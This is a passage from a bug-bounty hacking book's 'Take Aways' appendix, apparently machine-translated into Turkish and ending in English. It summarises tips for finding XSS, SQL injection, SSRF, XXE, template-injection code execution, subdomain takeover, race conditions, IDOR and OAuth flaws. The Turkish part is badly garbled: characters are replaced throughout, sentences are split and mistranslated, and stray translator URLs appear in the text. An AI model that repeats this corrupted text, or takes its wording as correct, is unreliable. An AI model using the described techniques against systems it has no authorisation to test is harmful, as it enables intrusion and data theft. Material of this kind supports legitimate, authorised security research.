Kullanıcıların Javscr�pt'� kend� başlarına kullanmasına �z�n ver�ld�ğ�nden XSS �ç�n çıkış sayfaları
saklayın. Düşünmeden önce bu güvenl�k açığını kapatmak daha kolay olurdu
Alanın har�c� sosyal medya s�teler�nde kullanılıp kullanılmadığı.

Yanlış b�ç�mlend�r�lm�ş veya bozuk HTML’y� geçmek, s�teler�n nasıl ayrıştırıldığını test etmek �ç�n har�ka b�r yoldur
g�r�ş. B�r b�lg�sayar korsanı olarak, gel�şt�r�c�ler�n neler yapmadığını düşünmek öneml�d�r. İç�n
Örneğ�n, normal res�m et�ketler�yle, �k� src n�tel�ğ� �let�rsen�z ne olur?
Bu nasıl olacak?

Da�ma güvenl�k açıklarını aramaya devam ed�n. Bunu varsaymak kolaydır çünkü
b�r ş�rket çok büyük ya da �y� b�l�n�yor, her şey�n bulunduğunu b�l�yor. Ancak,
ş�rketler her zaman kodu gönder�r.

Ek olarak, javascr�pt'�n çalıştırılab�lmes� �ç�n b�rçok yol vardır.
Google’ın değer�n� değ�şt�rd�ğ�n� gördükten sonra bu durumda vazgeçmek kolaydı.
bağlantıyı her tıkladığında, yan�
fare.
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Burada �k� şey �lg�nç. İlk olarak, Patr�k sağlamaya b�r alternat�f buldu
g�r�ş - bunun �ç�n uyanık olun ve b�r hedef�n sağladığı tüm yöntemler� test ed�n
g�r�ş� g�r�n. İk�nc�s�, Google g�r�ş� dezenfekte ed�yordu ancak ne zaman kaçtığını b�lm�yordu.
render. Patr�k'�n g�r�ş�nden kaçmış olsalardı, yük �şten çıkarılmayacaktı
çünkü HTML zararsız karakterlere dönüştürülecekt�.

Bu güvenl�k açığı �le �lg�l� ben� çok etk�leyen çok şey var
bunu dah�l etmek �st�yorum. İlk olarak, Mustafa'nın ısrarı. Ne zaman pes etmek yer�ne
yük aslen ateşlemed�, Javascr�pt koduna g�rd� ve öğrend�.
neden. İk�nc�s�, kara l�sten�n kullanımı tüm b�lg�sayar korsanları �ç�n kırmızı b�r bayrak olmalıdır. Tut
hack edenler �ç�n b�r göz. Son olarak, yükten çok şey öğrend�m ve
@ brutelog�c �le konuşuyor. Hackerlarla konuşurken ve kend�m� öğrenmeye devam ederken,
Bazı Javascr�pt b�lg�ler�n�n gerekl� olduğu �ç�n kolayca anlaşılıyor
daha karmaşık güvenl�k açıkları çekerek.

SstI

AngularJS kullanımı �ç�n uyanık ol ve Angular'ı kullanarak alanları test et
sözd�z�m� {{}}. Hayatınızı kolaylaştırmak �ç�n F�refox eklent�s� Wappalyzer'� ed�n�n - olacak
AngularJS kullanımı dah�l b�r s�ten�n hang� yazılımı kullandığını göster�r.

B�r s�ten�n hang� teknoloj�ler� kullandığına d�kkat ed�n, bunlar genell�kle k�l�t f�k�rlere yol açar.
B�r s�tey� nasıl kullanab�leceğ�n�z�. Bu durumda, Flask ve J�nja2 olduğu ortaya çıktı
büyük saldırı vektörler�. Ve, bazı XSS   açıklarında olduğu g�b�,
güvenl�k açığı hemen veya kolayca görünmeyeb�l�r, tümünü kontrol ett�ğ�n�zden em�n olun
yerler met�n oluşturuldu. Bu durumda, Uber s�tes�ndek� prof�l adı
düz met�n gösterd� ve bu güvenl�k açığını gerçekten ortaya çıkaran e-posta oldu.

Bu güvenl�k açığı, her Ra�ls s�tes�nde bulunmaz - bağlı
S�te nasıl kodlandı. Sonuç olarak, bu otomat�k b�r araç olacak b�r şey değ�l
mutlaka almak. B�r s�ten�n Ra�ls kullanılarak oluşturulduğunu b�ld�ğ�n�z zaman uyanık olun
URL'ler�n çoğu �ç�n ortak b�r kural �zler - en bas�t�nde, / controller / �d
Bas�t GET �stekler� �ç�n veya / controller / �d / ed�t, ed�t;

Bu url şablonunun ortaya çıktığını gördüğünüzde, oynamaya başlayın. Beklenmed�k şek�lde geç
değerler ve ney�n ger� döndüğünü görün.
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SQL Enjeks�yonu

Bu örnek �lg�nçt�, çünkü tek b�r başvuruda bulunma meseles� değ�ld�.
b�r sorgu alıntı ve kırma. Aks�ne, her şey Drupal'ın kodunun ne olduğu �le �lg�l�yd�.
�ç �şleve geç�r�len d�z�ler� kullanma. S�yahla bulmak kolay değ�l.



kutu sınaması (kodu görme er�ş�m�n�z�n olmadığı yer). Gelen paketBu, g�rd�ler�n yapısını değ�şt�rme fırsatlarını araştırmaktır.
b�r s�teye. Öyleyse, b�r URL nereye? Parametre olarak, b�r d�z�y� geçmeye çalışırken adını
g�b�? �s�m [] s�ten�n nasıl �dare ett�ğ�n� görmek �ç�n. SQL� �le sonuçlanmayab�l�r, ancak
d�ğer �lg�nç davranışlara yol açar.

SQL�, d�ğer enjeks�yon açıkları g�b�, sömürülmes� zor değ�l. Anahtar
savunmasız olab�lecek parametreler� test etmek. Bu durumda, ç�ft ekleme
dash, Stefano'nun temelde verd�ğ� sorgunun sonuçlarını açık b�r şek�lde değ�şt�rd�
SQL�. Benzer güvenl�k açıklarını ararken, �ncel�kl� olmaya d�kkat et
Kör b�r SQL� kırılganlığının gösterges� olab�leceğ� �ç�n sonuçlarda değ�ş�kl�k yaptı.

Kodlanmış parametreler� kabul eden HTTP �stekler�ne d�kkat ed�n. Senden sonra
sorguyu kodunu çöz ve enjekte et, yükünü yen�den kodladığından em�n ol
bu yüzden her şey hala ver�tabanını kodlamayı bekl�yor.

B�r ver�tabanı adı, kullanıcı adı ve ana b�lg�sayar adının çıkarılması genell�kle göz önünde bulundurulur
zararsız, ancak ödül programının �z�n ver�len eylemler� �ç�nde olduğundan em�n olun.
çalışıyorsunuz. Bazı durumlarda, uyku komutu �spatı �ç�n yeterl�d�r.
kavramı.

Sunucu Tarafı İsteğ� Sahtec�l�ğ�

Google Dork�ng, her türünü açığa çıkarırken s�ze zaman kazandıracak har�ka b�r araçtır
olası �st�smarların. SSRF açıkları arıyorsanız, uyanık olun
Uzaktak� �çer�ğ� çeken görünen hedef URL'ler �ç�n. Bu durumda, o
oldu url = eşant�yon oldu.

İk�nc�s�, sah�p olduğunuz �lk düşünce �le kaçmayın. Brett rapor vereb�l�rd�
Bu kadar etk�l� olmayacak olan XSS yükü. B�raz kazarak
daha der�n, bu güvenl�k açığının gerçek potans�yel�n� ortaya çıkarab�ld�. Ama ne zaman
bunu yaparken aşmamak �ç�n d�kkatl� olun.
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Web s�teler�n�n yapması gereken �şlevler �çerd�ğ� fırsatları göz önünde bulundurun
har�c� HTTP �stekler�. Bunlarla karşılaştığınızda, �steğ� �şaretlemey� deney�n
dah�l� olarak yukarıda l�stelenen özel ağ IP adres�n� kullanarak.

S�te dah�l� IP’lere er�şemezse, b�r keres�nde Just�n Kennedy’ye b�r numara öner�ld�:
dış HTTP �steğ�n� s�z�n kontrol ett�ğ�n�z ve yanıtladığınız b�r sunucuya yapacaktım
301 yönlend�rmes� �le bu �stek. Bu tür b�r cevap �stekte bulunduğunu
Talep ett�kler� kaynağın yer� değ�şt� ve onları �şaret ett�
yen� b�r yere Yanıtı kontrol ett�ğ�n�zden, yönlend�rmey� �şaret edeb�l�rs�n�z.
sunucuyu görmek �ç�n dah�l� b�r IP adres�ne yönlend�rmek
�ç ağ

Web kancaları oluşturmak �ç�n b�r URL göndereb�l�r veya uzaktan kasten �çer� aktarab�l�rsen�z
�çer�ğ� bel�rl� portları tanımlamaya çalışın. B�r sunucunun yanıt verme şekl�ndek� küçük değ�ş�kl�kler



farklı portlar portun açık / kapalı ya da f�ltrel� olup olmadığını ortaya çıkarab�l�r. Ek olarak
Sunucunun döndürdüğü mesajlardak� farklılıklara
bunlar açık / kapalı ya da sunucunun yanıt vermes� ne kadar sürerse f�ltrelen�yorlar
�stek �ç�n.

XML Dış Varlığı Güvenl�k Açığı

Büyük Çocuklar b�le savunmasız kalab�l�r. Bu rapor neredeyse 2 yaşında olmasına rağmen,
Hala büyük ş�rketler�n nasıl hatalar yapab�ld�ğ�n�n har�ka b�r örneğ�. Gerekl� olan
Bunu kaldırmak �ç�n XML, XML ayrıştırıcı kullanan s�telere kolayca yükleneb�l�r.
Ancak, bazen s�te yanıt vermez, bu nedenle d�ğerler�n� denemen�z gerek�r
Yukarıdak� OWASP kopya sayfasından g�rd�.

Burada b�rkaç paket serv�s var. XML dosyaları farklı şek�llerde ve boyutlarda gel�r
- .docx, .xlsx, .pptx, vb. kabul eden s�telere d�kkat ed�n.
ş�ddetle, bazen hemen XXE'den yanıt alamayacaksınız - bu
Örnek, p�ng'lenecek b�r sunucuyu nasıl ayarlayab�leceğ�n�z� göster�r.
XXE.

Ek olarak, d�ğer örneklerde olduğu g�b�, bazen raporlar başlangıçta redded�l�r.
S�z�nle çalışmanız �ç�n kend�n�ze güvenmen�z ve bağlı kalmanız öneml�d�r.
neden rapor ederken, kararlarına saygı duyarak, b�r şey�n neden�n� açıklarken
b�r güvenl�k açığı olab�l�r.
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Bel�rt�ld�ğ� g�b�, bu, XML şablonlarını nasıl kullanab�leceğ�n�z� gösteren har�ka b�r örnek.
kend� XML varlıklarınızı gömmek �ç�n b�r dosya oluşturun, böylece dosya uygun şek�lde ayrıştırılır
hedef. Bu durumda, W�k�loc b�r .gpx dosyası bekl�yordu ve Dav�d bunu sürdürdü
kend� XML varlıklarını beklenen et�ketler�n �ç�ne, özell�kle
<name> et�ket�. Ayrıca, kötü amaçlı b�r dtd dosyasına nasıl h�zmet ed�ld�ğ�n� görmek �lg�nç
daha sonra b�r hedef �ç�n GET �stekler� yapmak b�r hedef olması �ç�n ger� kaldıraç ed�leb�l�r
URL parametreler� olarak dosya �çer�ğ� �le sunucu.

Uzaktan Kod Yürütme

Okuma başarılı hacklemen�n büyük b�r parçasıdır ve okuma hakkında
yazılım açıkları ve Ortak Güvenl�k Açıkları ve Etk�lenmeler (CVE Iden-
t�f�ers). Geçm�ş güvenl�k açıklarını b�lmek, karşılaştığınızda s�ze yardımcı olab�l�r
güvenl�k güncellemeler�ne uymayan s�teler. Bu durumda, Yahoo yamalıydı
Sunucu ancak yanlış yapıldı (ne olduğunu bulamadım
demek). Sonuç olarak, ImageMag�ck güvenl�k açığını b�lmek Ben'e �z�n verd�
2000 dolarlık b�r ödülle sonuçlanan bu yazılımı özell�kle hedeflemek.



Her zaman çene düşüyor ve heyecan ver�c� olmasa da, uygun keş�f yapmak
değerl� olduğunu kanıtlayab�l�r. Burada, M�ch�el açık alanda oturan b�r güvenl�k açığı buldu
6 N�san 2014'ten bu yana sadece halka açık Angol�a'da G�trob'u çalıştırarak
Facebook-Arama deposu. S�z çalışırken çalıştırılab�len ve çalıştırılab�len b�r görev
�ncelemeye devam etmek �ç�n ger� dönerek d�ğer hedefler� aramaya ve hacklemeye devam ed�n.
tamamlandıktan sonra bulgular.

Bu güvenl�k açığı üzer�nde çalışmak çok eğlencel�yd�. İlk yığın �z� kırmızıydı
B�r şey�n yanlış olduğunu ve �ç�nde ayrıntılı olarak açıklanan d�ğer güvenl�k açıklarını �şaretley�n.
K�tap, dumanın olduğu yerde yangın var. James Kettle'ın blog yazısı yayınlanırken
Aslında kullanılacak kötü n�yetl� yükü de göz ardı ett�m. Ancak, bu verd�
Bana Smarty'y� okuma alıştırmalarını öğrenme ve öğrenme fırsatı
dokümantasyon. Bunu yapmak, ben� ayrılmış değ�şkenlere ve {php} et�ket�ne yönlend�rd�.
kend� kodumu çalıştır.
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Hafıza

Arabellek Taşması esk�, �y� b�l�nen b�r güvenl�k açığıdır, ancak ne zaman yaygındır
özell�kle kend� hafızasını yöneten uygulamalar �le �lg�lenmek
C ++. C’ye dayalı b�r web uygulamasıyla karşı karşıya olduğunuzu öğren�rsen�z,
d�l (PHP yazılmıştır), arabellek taşmaları bel�rg�n b�r olasılıktır.
Ancak, yen� başlıyorsanız, muhtemelen bulmak �ç�n zaman ayırmaya değer
enjeks�yonla �lg�l� güvenl�k açıklarını daha bas�t hale get�r�n ve arabellek taşmalarına ger� dönün
sen daha deney�ml�s�n.

Ş�md� yanlış uygulanan �k� fonks�yonun örneğ�n� gördük.
Tampon Taşmalarına karşı duyarlı, memcpy ve strcpy . B�r s�te b�l�yorsak
veya uygulama C veya C ++ 'a dayanıyorsa, kaynak üzer�nden arama yapmak mümkündür
yanlış bulmak �ç�n bu d�l �ç�n k�taplıkları kodlayın (grep g�b� b�r şey kullanın)
uygulamalar.

Anahtar, sab�t uzunluktak� b�r değ�şken� geçen uygulamaları bulmak olacaktır.
Her �k� fonks�yona üçüncü parametre, olması gereken ver� boyutuna karşılık gel�r.
kopyalanan ver�ler aslında değ�şken b�r uzunluktayken tahs�s ed�l�r.

Ancak, yukarıda bel�rt�ld�ğ� g�b�, yen� başlıyorsanız, daha değerl� olab�l�r
ger� dönerek bu tür güvenl�k açıklarını aramayı bırakma vakt�n�z
beyaz şapka kırma �le daha rahat olduklarında onları.

Bu çok karmaşık b�r güvenl�k açığı örneğ�d�r. Varlık sınırında �ken
Bu k�tabın amacı �ç�n çok tekn�k, ben göstermek �ç�n dah�l



öğrend�kler�m�zle benzerl�kler. Bunu yıktığımızda, bu
güvenl�k açığı, �l�şk�l� C kodu uygulamasındak� b�r hatayla da �l�şk�lend�r�ld�.
Hafıza yönet�m� �le, özell�kle hafızanın kopyalanması. Y�ne g�d�yorsan
C sev�yes� programlamada kazmaya başlamak �ç�n, ver�ler�n bulunduğu alanları aramaya başlayın.
b�r hafıza konumundan d�ğer�ne kopyalanmak.

Tıpkı Arabellek Taşmaları g�b�, Bellek Bozulması esk� ama y�ne de yaygın
kend� hafızasını yöneten uygulamalarla çalışırken güvenl�k açığı,
özell�kle C ve C ++. B�r web uygulaması �le uğraştığınızı öğren�rsen�z
(PHP'n�n yazıldığı) C d�l�ne göre yollar aramak
bu hafıza man�püle ed�leb�l�r. Ancak, y�ne, yen� başlıyorsanız, bu
Enjeks�yonla �lg�l� bas�t güvenl�k açıklarını bulmak �ç�n zaman ayırmaya değer olab�l�r
ve daha fazla deney�m�n�z olduğunda Hafıza Yolsuzluğuna ger� dönün.
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Alt Etk� Alanı Devralma

DNS g�r�şler�, güvenl�k açıklarını ortaya çıkarmak �ç�n yen� ve benzers�z b�r fırsat sunar. kullanım
Alt alan adlarının varlığını doğrulamak �ç�n KnockPy ve ardından onayla
üçüncü taraflara özel d�kkat gösteren geçerl� kaynaklara �şaret ed�yorlar
AWS, G�thub, Zendesk vb. g�b� serv�s sağlayıcılar
özelleşt�r�lm�ş URL’ler� kayded�n.

ÇOK DİKKAT! Bu güvenl�k açığı Şubat 2016'da bulundu ve karmaşık değ�ld�
h�ç. Başarılı böcek avı kesk�n gözlem gerekt�r�r.

Açıklandığı g�b�, burada b�rden fazla paket serv�s� var. İlk önce, crt.sh �le
alt alanları keşfet. B�r �ç�nde ek hedefler�n b�r altın maden� g�b� görünüyor
programı. İk�nc�s�, alt etk� alanı devralma yalnızca dış h�zmetlerle sınırlı değ�ld�r
G�b� S3, Heroku, vb. Burada, Sean aslında kayded�len daha fazla adım attı
süres� dolan etk� alanı Shop�fy �şaret ed�yordu. Kötü n�yetl� olsaydı,
alan adındak� Shop�fy oturum açma sayfasını kopyaladı ve kullanıcı toplamaya başladı
k�ml�k b�lg�ler�.

Y�ne, burada b�rkaç yolumuz var. İlk olarak, alt etk� alanı ararken
devralma, ortaya çıktığı g�b� * .global.ssl.fastly.net URL'ler� �ç�n uyanık olun
Hızla başka b�r web serv�s�d�r, kullanıcıların �s�mler� global olarak kaydetmeler�ne �z�n ver�r.
ad alanı. Alanlar savunmasız olduğunda, Hızlı b�r şek�lde mesaj boyunca b�r mesaj görüntüler.
“Hızlı etk� alanı yok” satırları.

İk�nc�s�, güvenl�k açıklarınızı onaylamak �ç�n her zaman ekstra adıma geç�n. Bu durumda,
Ebr�etas tarafından sah�p olunan onaylamak �ç�n SSL sert�f�ka b�lg�ler� baktı
Raporlamadan önce Snapchat. Son olarak, devralmanın etk�ler� her zaman değ�ld�r
Hemen görünür. Bu durumda, Ebr�etas bu serv�s�n kullanıldığını düşünmed�
traf�ğ�n geld�ğ�n� görene kadar. Devralma güvenl�k açığı bulursanız,



Serv�s, herhang� b�r �steğ�n gel�p gelmed�ğ�n� görmek �ç�n b�r süre bekleyeb�l�r. Bu olab�l�r
Güvenl�k açığını açıklamak �ç�n konunun c�dd�yet�n� bel�rlemen�ze yardımcı
rapor ett�ğ�n�z program etk�l� olanın b�leşenler�nden b�r�d�r.
Güvenl�k Açığı Raporları bölümünde tartışıldığı g�b� rapor ver�n.
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Bu örneğ� �k� nedenden dolayı dah�l ett�m; B�r�nc�s�, Frans den�zaltısını talep etmeye çalıştığında
Modulus üzer�nde etk� alanı, tam eşleşme alındı. Ancak, pes etmek yer�ne,
Joker kart alanını talep etmeye çalıştı. D�ğer b�lg�sayar korsanları �ç�n konuşamıyor olsam da
Eğer onun yer�nde olsaydım, dener m�yd�m b�lm�yorum. Öyleyse �ler�ye g�d�yor, eğer
Kend�n�z� aynı konumda bulursanız, üçüncü taraf h�zmetler�n�n olup olmadığını kontrol ed�n.
joker kart taleb�nde bulunur.

İk�nc�s�, Frans aslında alt alanı talep ett�. Bu açık olsa da
bazı, savunmasız olduğunuzu kanıtlamanın önem�n� tekrarlamak �st�yorum
raporlanması. Bu durumda, Frans, hak taleb�nde bulunab�lmes�n� sağlamak �ç�n ek b�r adım attı.
alt etk� alanı ve kend� �çer�ğ�n� barındırma. Büyük hacker'ları farklılaştıran şey bu
�y� hackerlardan, raporlamadığınızdan em�n olmak �ç�n bu fazla çabayı sarf ed�yorum
yanlış poz�t�fler.

Bu güvenl�k açığı, üçüncülere kazmanın ne kadar paha b�ç�lmez olduğuna b�r başka örnekt�r
part� serv�sler�, kütüphaneler vb. s�teler� kullanıyor. Belgeler� okuyarak,
SendGr�d'� öğrenmek ve sundukları h�zmetler� anlamak, Ura-
n�um238 bu sorunu buldu. Ek olarak, bu örnekte
devralma fırsatları aramak, hang� �şlevsell�k �ç�n uyanık olmak
alt etk� alanları talep etmen�ze olanak sağlar.

Yarış koşulları

Yarış koşulları, bazen var olab�lecek �lg�nç b�r güvenl�k açığı vektörüdür
uygulamaların para, kred� g�b� b�r tür denge �le uğraştığı yerlerde,
Güvenl�k açığını bulmak her zaman �lk denemede olmaz ve
b�rkaç eşzamanlı tekrarlanan �steklerde bulunma gerekt�ren. İşte, Egor altı yaptı
başarılı olmadan önce �stekler ve sonra g�tt� ve onaylamak �ç�n b�r satın alma yaptı
kavramın kanıtı.

Bu kırılganlığı bulmak ve kullanmak gerçekten çok eğlencel�yd�;
düğmelere tıklamak zorunda kaldığımdan ber� kend�mle ve HackerOne platformuyla
çok hızlı. Ancak benzer güvenl�k açıklarını bel�rlemeye çalışırken
Yukarıda tanımladığım adımların altına düşeb�lecek durumlar �ç�n
b�r ver�tabanı araması, kodlama mantığı ve b�r ver�tabanı güncellemes�. Bu senaryo borç vereb�l�r
kend�s�n� b�r yarış durumu güvenl�k açığı �ç�n.

Ek olarak, test�n�z� otomat�kleşt�rmen�n yollarını arayın. Neyse k� ben�m �ç�n mümkün oldu



Bunu pek çok g�r�ş�mde bulunmadan başarmak �ç�n ancak muhtemelen sonra pes olurdu
4 veya 5, kullanıcıları sınama ve her test �ç�n davet�yey� yen�den gönderme gereğ� ver�r.
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Bu tür yarış koşullarını kabul etmek ve ödemek,
b�r s�teye �z�n ver�l�r, b�r programın öncel�kler�, �şlevsell�ğ� ve r�sk�ne bağlıdır
prof�l. Bu durumda, Keybase muhtemelen bunu dened�ğ� �ç�n kabul ett�
Bunun atladığı s�telere kayıtlı kullanıcı sayısını yönetmek.
Bu, davet �şlevsell�ğ� �çeren tüm hata ödül programları �ç�n geçerl� değ�ld�r.
HackerOne �le göster�ld�ğ� g�b�, daha önce ele alınan davet örneğ�d�r. Eğer
benzer b�r şey b�ld�r�rken, raporunuzun neden olması gerekt�ğ�n� açıkça bel�rtt�ğ�n�zden em�n olun.
b�r güvenl�k açığı olarak kabul ed�lmek.

B�r s�tey� kullanırken, z�yaret ett�kten sonra ver�ler� �y� �şled�ğ�n� fark edersen�z
S�te, muhtemelen ver�ler� �şlemek �ç�n b�r arka plan �ş� kullanıyor. Bu b�r kırmızı bayrak
S�ten�n etk�l� olup olmayacağını görmek �ç�n �ş� tanımlayan koşulları test etmel�s�n�z
esk� olanlara karşı yen� koşullar. Bu örnekte, HackerOne �d�
b�r e-posta adres�n�n ödemeler�n� bel�rl� b�r para göndermeye karşı b�rleşt�rmek
e-ma�l adresler�. Davranışı arka plandan ber� �y�ce test ett�ğ�n�zden em�n olun.
�şleme bağlı olarak çok çabuktan uzun zamana kadar her yerde olab�l�r.
kaç �ş�n tamamlanması �ç�n kuyruğa alındı   ve s�ten�n yaklaşımı
Ver� �şlen�yor.

Güvens�z Doğrudan Nesne Referansları

K�ml�k doğrulamaya dayalı güvenl�k açıkları arıyorsanız, aramaya devam ed�n
K�ml�k b�lg�ler�n�n b�r s�teye geç�r�ld�ğ� yer. Bu güvenl�k açığı yakalanırken
Sayfa kaynak koduna bakarak b�lg�ler� de fark etm�ş olab�l�rs�n�z.
Proxy önley�c� kullanıldığında geç�r�l�yor.

B�r tür k�ml�k b�lg�s� �let�ld�ğ�n� tesp�t edersen�z, not almadıklarında not alın.
ş�frel� görün ve onlarla oynamaya çalışın. Bu durumda, p�m sadece CRryl�c �d�
Ş�fre 0e552ae717a1d08cb134f132 �ken
ş�fre �ken ş�frel�. Ş�frelenmem�ş değerler güzel b�r alanı tems�l eder.
�le oynamaya başlayın.
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IDOR'lar �ç�n testler, yetenekler�n yanı sıra kesk�n b�r gözlem gerekt�r�r. İncelerken
Güvenl�k açıkları �ç�n HTTP �stekler�, aşağıdak� g�b� hesap tanımlayıcıları aramaya başlayın
Yukarıdak� Adm�n�strat�on_�d. Alan adı �ken, management_�d
hesap_adı adı ver�len , sade olana kıyasla b�raz yanıltıcıdır
tamsayı kontrol etmem gereken b�r kırmızı bayraktı. Ek olarak, uzunluğu
parametres�nde, güvenl�k açığından yararlanmadan güvenl�k açığından yararlanılması zor olurdu.
b�r sürü ağ gürültüsü duymak,
doğru k�ml�k Benzer güvenl�k açıkları bulursanız, raporunuzu gel�şt�rmek �ç�n her zaman açık
k�ml�kler� �fşa eden HTTP yanıtları, URL'ler vb. Neyse k� ben�m �ç�n, k�ml�ğ�
İht�yacım olan hesap URL’s�ne dah�l ed�ld�.

Yukarıdak� Moneyb�rd örneğ�ne benzese de, her �k�s�n�n de kötüye kullanılması gerekt�ğ�nden
sızdırılmış kuruluş k�ml�kler�n� �mt�yazları yükseltmek �ç�n, bu örnek har�ka çünkü
sıfır �le kullanıcılara uzaktan saldırab�lmen�n c�dd�yet�n� göstermekted�r
onların adına etk�leş�m ve tam b�r �st�smar gösterme �ht�yacı. Başlangıçta,
Akh�l tam hesap devralma dah�l veya göstermed� ve
Tw�tter'ın bu söze verd�ğ� yanıt (örneğ�n, ayrıntı �stemek ve
öyleyse), başlangıçta çözülürken bu etk�y� düşünmem�ş olab�l�rler.
Güvenl�k açığı. Bu yüzden, rapor ver�rken, raporun tamamını d�kkate aldığınızdan ve ayrıntılarını anladığınızdan em�n olun.
Raporladığınız güvenl�k açığının, yen�den oluşturma adımları da dah�l olmak üzere etk�s�.

OAuth

Güvenl�k açıklarını ararken, esk� varlıklardan nasıl yararlanılab�leceğ�n� göz önünde bulundurun.
Hacklen�rken, bırakılab�lecek uygulama değ�ş�kl�kler�ne d�kkat ed�n
bunlar g�b� kaynaklar ortaya çıkar. Ph�l�ppe'den gelen bu örnek har�ka çünkü o
OAuth bel�rteçler�n� çalarak ve b�r son hedef� bel�rleyerek onunla başladı
Bunu yapmak �ç�n araçlar.

Ek olarak, bu örneğ� beğend�ysen�z Ph�l�ppe'n�n Bloguna göz atmalısınız. 1
(Kaynaklar Bölümüne dah�l) ve Oturduğu Hack�ng Pro İpuçları Röportajı
yapmak �ç�n ben�mle aşağı - o b�r çok büyük tavs�ye sağlar !.

B�raz esk� olsa da, bu güvenl�k açığı OAuth red�rect_ur� değer�n�n nasıl olduğunu göster�r.
tar�hlemeler kaynak sunucular tarafından yanlış yapılandırılab�l�r . Bu durumda, Slack’�n
b�r saldırganın alan sonekler� eklemes�ne �z�n veren OAuth'un uygulanması
ve bel�rteçler� çalmak.

1 https://www.ph�l�ppeharewood.com

Sayfa 245

Ek A - Take Away 233

Burada b�rkaç paket serv�s var. İlk olarak, OAuth güvenl�k açıkları her zaman �lg�l� değ�ld�r

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.philippeharewood.com/
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.philippeharewood.com/


bel�rteçler� çalmak. OAuth tarafından korunan API �stekler�ne d�kkat ed�n.
bel�rtec� gönderm�yor veya doğrulamıyor (ör. OAuth bel�rteç başlığını kaldırmayı deney�n
b�r tanımlayıcı varsa, URL'dek� sayfa k�ml�ğ� g�b�). İk�nc�s�, bu öneml�
Tarayıcıların Javascr�pt ve JSON'u nasıl yorumladığını anlamak ve anlamak. Bu
güvenl�k açığı, Google’ın geçerl� b�r şek�lde döndüğü �ç�n kısmen mümkün
JSON �çeren Javascr�pt nesnes�. Son olarak, bu ortak b�r tema �ken
k�tap, belgeler� okuyun. Google’ın yanıtlarla �lg�l� belgeler�
elektron�k tablo ver�ler�n� gönderen çalışan b�r kavram kanıtı gel�şt�rmen�n anahtarı
Uzak b�r sunucuya

Uygulama Mantığı Güvenl�k Açıkları

Burada �k� anahtar var. İlk olarak, her şey kod enjekte etmekle �lg�l� değ�ld�r,
HTML vb. Her zaman b�r proxy kullanmayı unutmayın ve hang� b�lg�ler�n bulunduğunu �zley�n.
b�r s�teye geçt� ve ne olduğunu görmek �ç�n onunla oyna. Bu durumda, tüm aldı
Güvenl�k kontroller�n� atlamak �ç�n POST parametreler�n�n kaldırılması. İk�nc�s�, y�ne heps� değ�l
saldırılar HTML web sayfalarına dayanmaktadır. API b�t�ş noktaları her zaman potans�yel sunar
güvenl�k açığı bölges� bu yüzden her �k�s�n� de değerlend�rd�ğ�n�zden ve test ett�ğ�n�zden em�n olun.

Kısa b�r açıklama olsa da, buradak� paket serv�s paket�n�n abartılamaması durumunda
yen� �şlevsell�k �ç�n d�kkat! . B�r s�te yen� �şlevler uyguladığında, bu
taze et. Yen� �şlevsell�k, yen� kodu test etme fırsatını tems�l eder ve
böcek aramak. Bu Shop�fy Tw�tter CSRF ve Facebook �ç�n aynıydı
XSS açıkları.

Bundan en �y� şek�lde yararlanmak �ç�n, ş�rketlere kend�n�z� tanıtmak �y� b�r f�k�rd�r
ve ş�rket bloglarına, haber bültenler�ne vb. abone olun, böylece ne zaman haberdar olun
b�r şey serbest bırakıldı. Sonra test et.

Potans�yel b�r hedef bel�rlerken, tüm farklı araçları not aldığınızdan em�n olun,
Web serv�sler� de dah�l olmak üzere kullanıyorlar. Her serv�s, yazılım, �şlet�m s�stem� vb.
Potans�yel yen� b�r saldırı vektörünü ortaya çıkarır. Ayrıca, bu �y� b�r f�k�r
AWS S3, Zendesk, Ra�ls, vb. popüler web araçlarını tanımak.
b�rçok s�ten�n kullandığı.
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Bundan b�rden fazla paket var:

1. Yaratıcılığınızı ve bunun olası hata potans�yel�n� küçümsemey�n.
gel�şt�r�c�ler�. HackerOne, müth�ş güvenl�kten müth�ş b�r ek�p.
Arama yapan. Ancak �nsanlar hata yapar. Varsayımlarınıza meydan okuyun.

2. İlk denemeden sonra pes etmey�n. Bunu bulduğumda, her b�r�ne göz atıyordum.
kova mevcut değ�ld� ve ben de neredeyse uzaklaşıyordum. Ama sonra yazmaya çalıştım



b�r dosya ve çalıştı.3. Her şey b�lg� �le �lg�l�. Hang� tür güvenl�k açıklarının olduğunu b�l�yorsanız,
ne arayacağımı ve test edeceğ�n� b�l�yorsun. Bu k�tabı satın almak har�ka b�r �lk adımdı.

4. Daha önce söyled�m, tekrar söyleyeceğ�m, b�r saldırı yüzey� daha fazla
web s�tes�, aynı zamanda ş�rket�n kullandığı h�zmetler. At gözlükler�n� çıkar.

Two factor authent�cat�on �s a tr�cky system to get r�ght. When you not�ce a s�te
�s us�ng �t, you’ll want to fully test out all funct�onal�ty �nclud�ng token l�fet�me,
max�mum number of attempts, reus�ng exp�red tokens, l�kel�hood of guess�ng a
token, etc.

When hack�ng, cons�der a company’s ent�re �nfrastructure fa�r game unless they
tell you �t’s out of scope. Wh�le th�s report d�dn’t pay a bounty, I know that Patr�k
has employed s�m�lar techn�ques to f�nd some s�gn�f�cant four f�gure payouts.

Add�t�onally, you’ll not�ce there was 260,000 potent�al addresses here, wh�ch
would have been �mposs�ble to scan manually. When perform�ng th�s type of
test�ng, automat�on �s hugely �mportant and someth�ng that should be em-
ployed.

Javascr�pt source code prov�des you w�th actual source code from a target you
can explore. Th�s �s great because your test�ng goes from blackbox, hav�ng no
�dea what the back end �s do�ng, to wh�tebox (though not ent�rely) where you
have �ns�ght �nto how code �s be�ng executed. Th�s doesn’t mean you have to
walk through every l�ne, the POST call �n th�s case was found on l�ne 20570 w�th
a s�mple search for POST.

Sub doma�ns and broader network conf�gurat�ons represent great potent�al for
hack�ng. If you not�ce that a program �s �nclud�ng *.SITE.com �n �t’s scope, try to
f�nd sub doma�ns that may be vulnerable rather than go�ng after the low hang�ng
fru�t on the ma�n s�te wh�ch everyone maybe search�ng for. It’s also worth your
t�me to fam�l�ar�ze yourself w�th tools l�ke Nmap, eyew�tness, knockpy, etc. wh�ch
w�ll help you follow �n Andy’s shoes.
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I �ncluded th�s example because �t demonstrates two th�ngs - f�rst, wh�le �t does
reduce the �mpact of the vulnerab�l�ty, there are t�mes that report�ng a bug wh�ch
assumes an attacker knows a v�ct�m’s user name and password �s acceptable
prov�ded you can expla�n what the vulnerab�l�ty �s and demonstrate �t’s sever�ty.

